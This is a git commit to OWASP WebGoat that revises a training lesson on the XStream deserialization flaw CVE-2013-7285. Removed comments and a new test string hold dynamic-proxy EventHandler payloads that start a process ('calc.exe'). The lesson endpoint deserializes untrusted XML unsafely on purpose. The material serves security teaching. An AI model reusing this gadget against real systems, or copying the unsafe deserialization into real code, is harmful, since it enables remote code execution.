improving lesson due to issue #845

This commit is contained in:
René Zubcevic 2020-07-05 13:13:34 +02:00 committed by Nanne Baars
parent 2d2dc22e19
commit ef6993c636
6 changed files with 64 additions and 153 deletions

View File

@ -1,22 +0,0 @@
package org.owasp.webgoat.vulnerable_components;
import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
public class CatchAllConverter implements Converter {
public boolean canConvert(Class clazz) {
return true;
}
public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
return null;
}
}

View File

@ -1,52 +0,0 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.vulnerable_components;
import com.thoughtworks.xstream.converters.Converter;
import com.thoughtworks.xstream.converters.MarshallingContext;
import com.thoughtworks.xstream.converters.UnmarshallingContext;
import com.thoughtworks.xstream.io.HierarchicalStreamReader;
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;
public class ContactConverter implements Converter {
public boolean canConvert(Class clazz) {
return clazz.equals(Contact.class);
}
public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
Contact contact = (Contact) value;
writer.startNode("firstName");
writer.setValue(contact.getFirstName());
writer.endNode();
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
Contact contact = new ContactImpl();
reader.moveDown();
contact.setFirstName(reader.getValue());
reader.moveUp();
return contact;
}
}

View File

@ -22,73 +22,35 @@
package org.owasp.webgoat.vulnerable_components; package org.owasp.webgoat.vulnerable_components;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import com.thoughtworks.xstream.XStream;
@RestController @RestController
@AssignmentHints({"vulnerable.hint"}) @AssignmentHints({"vulnerable.hint"})
public class VulnerableComponentsLesson extends AssignmentEndpoint { public class VulnerableComponentsLesson extends AssignmentEndpoint {
/*
*
<contact class='org.owasp.webgoat.vulnerable_components.Contact'>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
<contact class='dynamic-proxy'>
<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
*/
@PostMapping("/VulnerableComponents/attack1") @PostMapping("/VulnerableComponents/attack1")
public @ResponseBody public @ResponseBody
AttackResult completed(@RequestParam String payload) { AttackResult completed(@RequestParam String payload) {
XStream xstream = new XStream(/*new DomDriver()*/); XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader()); xstream.setClassLoader(Contact.class.getClassLoader());
//xstream.processAnnotations(Contact.class);
xstream.alias("contact", ContactImpl.class); xstream.alias("contact", ContactImpl.class);
//xstream.aliasField("id", Contact.class, "id");
xstream.ignoreUnknownElements(); xstream.ignoreUnknownElements();
//xstream.registerConverter(new ContactConverter());
//xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);
Contact contact = null; Contact contact = null;
try { try {
if (!StringUtils.isEmpty(payload)) { if (!StringUtils.isEmpty(payload)) {
//payload = payload.replace("contact ", "<contact ").replace("/contact ", "</contact");
payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<"); payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<");
} }
System.out.println(payload);
contact = (Contact) xstream.fromXML(payload); contact = (Contact) xstream.fromXML(payload);
} catch (Exception ex) { } catch (Exception ex) {
return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build(); return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build();
} }
@ -97,10 +59,12 @@ public class VulnerableComponentsLesson extends AssignmentEndpoint {
if (null!=contact) { if (null!=contact) {
contact.getFirstName();//trigger the example like https://x-stream.github.io/CVE-2013-7285.html contact.getFirstName();//trigger the example like https://x-stream.github.io/CVE-2013-7285.html
} }
} catch (Exception e) { if (!(contact instanceof ContactImpl)) {
e.printStackTrace();
return success(this).feedback("vulnerable-components.success").build(); return success(this).feedback("vulnerable-components.success").build();
} }
} catch (Exception e) {
return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build();
}
return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build(); return failed(this).feedback("vulnerable-components.fromXML").feedbackArgs(contact).build();
} }
} }

View File

@ -1,7 +1,7 @@
vulnerable-components.title=Vulnerable Components vulnerable-components.title=Vulnerable Components
EnterYourName=Enter your Name EnterYourName=Enter your Name
Go!=Go! Go!=Go!
vulnerable.hint=Here is some explanation of someone trying the exercise in an earlier version: https://www.youtube.com/watch?v=iWcRR2WcBFU vulnerable.hint=Did you search for CVE-2013-728 and read https://x-stream.github.io/CVE-2013-7285.html
vulnerable-components.close=Trying to deserialize null object. vulnerable-components.close=The payload send could not be deserialized to a Contact class. Please try again.
vulnerable-components.success=You successfully tried to exploit the CVE-2013-7285 vulnerability vulnerable-components.success=You successfully tried to exploit the CVE-2013-7285 vulnerability
vulnerable-components.fromXML=You created contact {0}. This means you did not exploit the remote code execution. vulnerable-components.fromXML=You created contact {0}. This means you did not exploit the remote code execution.

View File

@ -1,6 +1,6 @@
== Exploiting http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7285[CVE-2013-7285] (XStream) == Exploiting http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7285[CVE-2013-7285] (XStream)
WebGoat Sends an XML document to add contacts to a contacts database. WebGoat uses an XML document to add contacts to a contacts database.
[source,xml] [source,xml]
---- ----
<contact> <contact>
@ -11,5 +11,6 @@ WebGoat Sends an XML document to add contacts to a contacts database.
</contact> </contact>
---- ----
For this example, we will let you enter the xml directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using `XStream.fromXML(xml)`. The java interface that you need for the exercise is: org.owasp.webgoat.vulnerable_components.Contact.
So find information about the CVE vulnerability and sends some payload that triggers the vulnerability. Start by sending the above contact to see what the normal response would be and then read the CVE vulnerability documentation (search the Internet) and try to trigger the vulnerability.
For this example, we will let you enter the XML directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using `XStream.fromXML(xml)`.

View File

@ -22,37 +22,57 @@
package org.owasp.webgoat.vulnerable_components; package org.owasp.webgoat.vulnerable_components;
import org.junit.Before; import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import org.junit.Test; import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.assignments.AssignmentEndpointTest;
import org.springframework.test.web.servlet.MockMvc;
import static org.mockito.Mockito.when; import com.thoughtworks.xstream.XStream;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; import com.thoughtworks.xstream.io.StreamException;
/** public class VulnerableComponentsLessonTest {
* @author nbaars
* @date 2/7/17
*/
@RunWith(MockitoJUnitRunner.class)
public class VulnerableComponentsLessonTest extends AssignmentEndpointTest {
private MockMvc mockMvc; String strangeContact = "<contact class='dynamic-proxy'>\n" +
"<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>\n" +
" <handler class='java.beans.EventHandler'>\n" +
" <target class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
"</contact>";
String contact = "<contact>\n"+
"</contact>";
@Before @Test
public void setup() { public void testTransformation() throws Exception {
VulnerableComponentsLesson vulnerableComponentsLesson = new VulnerableComponentsLesson(); XStream xstream = new XStream();
init(vulnerableComponentsLesson); xstream.setClassLoader(Contact.class.getClassLoader());
this.mockMvc = standaloneSetup(vulnerableComponentsLesson).build(); xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
assertNotNull(xstream.fromXML(contact));
} }
@Test @Test
public void success() throws Exception { public void testIllegalTransformation() throws Exception {
// mockMvc.perform(MockMvcRequestBuilders.post("/VulnerableComponents/attack1").content("Test")) XStream xstream = new XStream();
// .andExpect(status().isOk()) xstream.setClassLoader(Contact.class.getClassLoader());
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("http-proxies.intercept.success")))) xstream.alias("contact", ContactImpl.class);
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); xstream.ignoreUnknownElements();
Exception e = assertThrows(RuntimeException.class, ()->((Contact)xstream.fromXML(strangeContact)).getFirstName());
assertTrue(e.getCause().getMessage().contains("calc.exe"));
}
@Test
public void testIllegalPayload() throws Exception {
XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader());
xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
Exception e = assertThrows(StreamException.class, ()->((Contact)xstream.fromXML("bullssjfs")).getFirstName());
assertTrue(e.getCause().getMessage().contains("START_DOCUMENT"));
} }
} }